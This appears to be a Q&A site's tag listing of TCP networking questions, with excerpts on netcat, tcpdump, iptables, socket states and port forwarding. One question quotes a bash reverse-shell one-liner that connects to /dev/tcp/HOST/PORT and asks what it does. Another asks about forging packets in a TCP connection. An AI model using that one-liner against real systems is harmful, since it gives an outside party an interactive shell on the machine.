The Transport Control Protocol (TCP) is a low-level part of the protocol stack used by the Internet. It sits directly above the IP layer and is responsible for making sure that dropped packets are resent.

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How can I create Local Loopback on Linux (Red Hat or Debian)?

How can I do the same on Linux (RedHat or Debian)? I need to create local loopback as shown herein: Performing Loopback Testing for Fast Ethernet and Gigabit Ethernet Interfaces. Excerpt ...
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28 views

enable echo service and linux security loophole issues

in order to enable the echo service we need to add the echo lines as the following example : more /etc/inetd.conf echo stream tcp nowait root internal echo dgram udp wait root ...
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How do I find out how long a socket is in CLOSE_WAIT?

I have a server relatively with a high number of sockets in CLOSE_WAIT I want to know the age of each socket, to know if it's a real problem (sockets not getting closed) or that the sockets are ...
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Capturing data from a Fluke 1620a via Bash /dev/tcp file descriptor

I am currently trying to develop a script that will connect to a Fluke DewK 1620a Themo-Hygrometer and pull the current temperature and humidity readings from the device. While these devices have a ...
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2answers
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Capturing data from a Fluke 1620a via netcat

I am trying to pull temperature and humidity data from Fluke DewK 1620a thermo-hygrometers and write the temp/humidity readings to a log. I can connect to the device via netcat with a simple 'nc ...
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9 views

Itcpdump output - why is it showing an Ethernet status?

tcpdump -i mlan0 -n tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on mlan0, link-type EN10MB (Ethernet), capture size 262144 bytes Why is this ...
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23 views

Server sending keep alive timeout probe despite timing out?

I am monitoring my firewall egress log and found the following outgoing connections that seem to originate from my server: Nov 14 09:56:48 DST=a.b.167.208 TTL=64 SPT=80 DPT=25960 Nov 14 09:48:48 ...
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2answers
54 views

Redirect stdin and stdout to ports

I'd like to take a program P that reads from stdin & writes to stdout, but connect it to nc or whatever such that it reads from a certain port and outputs to another port. # The reading is easy, ...
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655 views

Port Mirroring in Fedora? [closed]

I have set up an application that listens constantly to a port for network packets, and I would like to create another one that receives the same network packets ( for use as a test bed). Getting the ...
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2answers
24 views

If I send SYN / ACK with one IP and other packets with another, what happens?

I'm learning about UNIX and network programming. I'm not yet sure how to implement this. But I'm wondering: If I forge IP packets of a TCP connection to a server, so that the SYN / ACK packets use ...
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1answer
19 views

Relay server for generic TCP traffic?

Here's my situation: I have a computer (Mac) on a school network that I want to port forward TCP 5222 to for ejabberd, but of course I can't. I have a server at home (Mac with FreeBSD VM) that I can ...
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34 views

bound, but not listening process

python code for simple daemon import socket import time import signal s=socket.socket() s.bind(('127.0.1.1', 20201)) def stop(*a, **k): global work work = False ...
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1answer
26 views

Start a service on a network request (socket activation)

I have a program that under normal activation listens on some port. I don't want the program running continuously. Is there a "quick and dirty" way to wrap the application in a shell script or ...
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2answers
890 views

Redirect the default HTTP port to an application

On my CentOS server at mydomain.com, I have an svn web application running on port 8880. I want to hide the port: at this moment, if anybody wants to access, they need to access through ...
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2answers
56 views

How to find out how many TCP retransmits are occurring?

I am running Debian Wheezy on an ARMHF platform and do most of the communications over fairly unreliable cell phone networks. Is there a way to read the no. of re-transmits the TCP stack has done ...
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1answer
79 views

What are the semantics of getting a EADDRINUSE when no listening socket is bound, but connections are open

Consider a parent process which completes a socket/bind/accept, and will fork children with that socket open for them to communicate with, while the parent continues accepting connections. That parent ...
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1answer
250 views

Networking issue in IBM x3650 after install Ubuntu 14.04.1

I have a problem making TCP connections after a fresh Ubuntu 14.04 installation. First of all, after booting the interface is always off. In my case the interface is manually configured and named em2. ...
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130 views

nc -l in background closes immediately (nc -l 1234 &)

When I put this nc -l 12345 >nc_out in a shell script, run it and then connect from other shell using telnet, it allows me to type some text and have it end up in nc_out. But if I start nc in ...
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289 views

Is there a way to see if process listening on TCP port receives a message?

According to tcpdump, my server receives the following TCP packet: 12:52:29.603233 00:19:e2:9e:df:f0 00:16:3e:6a:25:3f, ethertype IPv4 (0x0800), length 74: 10.10.10.65.38869 192.168.215.82.22: ...
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3answers
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Can TCP provide more than 65535 ports?

Is it possible to setup a Linux system so that it provides more than 65,535 ports? The intent would be to have more than 65k daemons listening on a given system. Clearly there are ports being used ...
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1answer
43 views

Discovering the Cause of tcp rcvpruned?

I get a few rcv pruned packets on my load balancers a day and I would like to know what the cause is: However, based on my tcp_mem vs tcp_mem usage I don't understand why some packets are being ...
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Is this kernel warning a major problem that needs my attention?

Our Linux based Thecus N12000 NAS recently experienced this message in its dmesg log. [2014-05-21 11:34:56] ------------[ cut here ]------------ [2014-05-21 11:34:56] WARNING: at ...
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920 views

Meaning of bash -i >& /dev/tcp/HOST/PORT 0>&1?

I tried this bash -i >& /dev/tcp/HOST/PORT 0>&1, but it does not seem to work behind firewall. What does this code actually do, which ports are forwarded and could it work behind ...
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Can spawn-fcgi be user for tcp/udp server

Spawn-fcgi by lighty labs It only uses unix socket functions socket(), bind(), connect(), listen(). Is it possible to use it not for FastCGI server, but TCP or UDP server?
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1answer
49 views

Down single connection

There are many connections to the external interface(s) on the specified port e.g. ![netstat |grep 1521][1] tcp….1540….…0 172.17.40.33:36791……..172.17.40.90:1521…….…..ESTABLISHED tcp….1540….…0 ...
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Exclude a loopback interface or address from processes listening on the “any” address

I'm trying to create a setup where I can connect to some service running on a host only reachable through a SOCKS proxy by the host's actual name and the port the service actually uses (so that ...
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2answers
153 views

Drop TCP packets and prevent TCP retransmission

I have an application that sends TCP data to a server. My server is made to intentionally drop the packets sent by the application, and as a result the client retransmits the packets. I need to ...
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2answers
53 views

How can I determine what program or user connected to a particular port after the fact?

I am examining the egress IPTABLES log of my computer for yesterday and notice the following: IN= OUT=eth0 SRC=192.168.1.1 DST=69.46.36.10 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=12345 DF PROTO=TCP ...
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155 views

How to troubleshooting failing ping to router on a linux box?

I have a home network 192.168.0.x from which I am posting this message, on this network I have a CentOS7 host 192.168.0.3 which is running a DNS server for the network. I can ssh into 192.168.0.3 I ...
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1answer
57 views

Force application to use specific port on Fedora machine

I have an application on my fedora machine that sends SIP TCP requests to the server. The application chooses a random source port to send the requests. Is there some way I can force the application ...
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How to close ports in Linux?

I have some question in closing port, I think I got some strange things. When I use execute nmap --top-ports 10 192.168.1.1 it shows that 23/TCP port is open. But when I execute nmap --top-ports ...
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Rsync - Corrupted MAC on input

Background I have a script on my NAS which is a Synology DS212J which is running on a special distro where uname -a gives me Linux DS212J 2.6.32.12 #4493 Wed Jul 16 11:37:16 CST 2014 armv5tel ...
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6answers
692 views

How do I work out which port to log in on with SSH?

I have an Ubuntu 10.04 server setup remotely that I setup a while back. While I recorded the username and password, I seem to have been clever and changed the usual ssh port from 22 to... something ...
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1answer
15 views

tcpdump Filter with certain file types?

I use the unix command tcpdump with these extensions -A -s0 -ien0 port 80 I know how to add, for example a new host, that would be and \ host random.com Can I sniff for certain filetypes? I have ...
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2answers
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iptables port forwarding

I have a CentOS server with Java/J2EE(Tomcat) installed on TCP port 8080. I have two interfaces, eth0 and lo. I need to forward all incoming connection on TCP port 80 to 8080. I tried doing the ...
4
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1answer
183 views

Can iptables be used to monitor TCP timeouts/resets system-wide?

I'm trying to determine if an application's connection to a database is internal to the application or due to a networking event. This seems like something netfilter would have system-wide visibility ...
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1answer
103 views

Allow non-root unmodifiable sofware to bind to ports 80 & 443

The company I'm in uses the Java Secure Application Manager to "secure" non-internal connections their webmail and electronic collaboration software. Aside from using expired certificates, and ...
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1answer
290 views

How to investigate a random reset on TCP client port connected via loopback interface to a server

I have a test suite which initializes a server on the localhost and then runs thousands of stress tests which include starting and stopping clients connecting to this local server on same machine. I ...
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1answer
52 views

Analyzing network traffic

I want to get a good overview what kind of network communication is going on on my computer. One way would be starting wireshark, which is fine for very low-level problems but is quite cumbersome to ...
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1answer
210 views

Kill any service running at a specific port

I am trying to write a script that kills service running at a specific port. This is my script: a=$(ps ax | grep 4990 | grep java | awk '{print $1}') kill -9 $a It's a java program. This script ...
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232 views

tcpdump not capturing http or tcp/ssl traffic

I have been trying to learn tcpdump and I am using this command to attempt to monitor my network: sudo tcpdump -I -i en1 But this gives me a bunch of stuff I don't want, so I used this version to ...
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896 views

How to get info about given webserver FAST?

$ time nmap -q -sV -P0 -p80 google.com | fgrep '80/tcp open' 80/tcp open http Google httpd 2.0 (GFE) real 0m6.563s user 0m0.280s sys 0m0.016s $ Are there any faster methods to get info ...
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1answer
108 views

how to connect ssh 'with' specified port?

I know how to connect 'to' a certain port when ssh'ing. ssh user@remotehostip -p XXX but is there a way to establish a ssh 'with' a certain port? I mean, is there a way to specify the port which ...
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2answers
105 views

“tcpdump” to capture the last packets

I am monitoring a certain port, because my application uses that port, it seems that the connection drops at random times, I want to see what are the last packets passing through before the connection ...
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1answer
238 views

Linux “ip route” changes source address of TCP but not UDP

When sending packets from an application that binds to a local address TCP uses a different source address than UDP. For example, bind to 10.10.0.51 (alias IP), the src addr for UDP is 10.10.0.51 but ...
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356 views

Port 80 refused by Linux (Ubunt 12.04)

I am having an issue I cannot seem to resolve. I am being refused only on port 80. However port 8080, and 22 (Tomcat and ssh) are available. I am pretty sure this is not an Apache thing, however I ...
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263 views

Improving TCP performance over a gigabit network

I have two machines both network cards speed is 10Gbps. The inbound bandwidth between the two machines is 10Gbps, the outbound bandwidth internet bandwidth is 500Mpbs. Both machines are using public ...
2
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1answer
452 views

How can I configure OpenVPN to wait for slow SOCKS proxies?

I'm experimenting with OpenVPN connections routed through Tor, using pairs of Tor gateway and OpenVPN-hosting VMs. On the server side, link local ports are forwarded to Tor hidden-service ports on the ...
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1answer
324 views

Server Not accepting TCP/IP Connections

I have a Wt application running in a CentOS server machine(Machine A) in the port number 9798. Application is up and I could view the web page with the URL, http://localhost:9798 But application ...
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82 views

How to set sctp_nodelay to enable piggybacking while replying back

Problem: We are hosting a telecom application that receives traffic from the network at > 500 TPS. The packets are piggybacked so each sctp packet contains multiple application layer packets lets say ...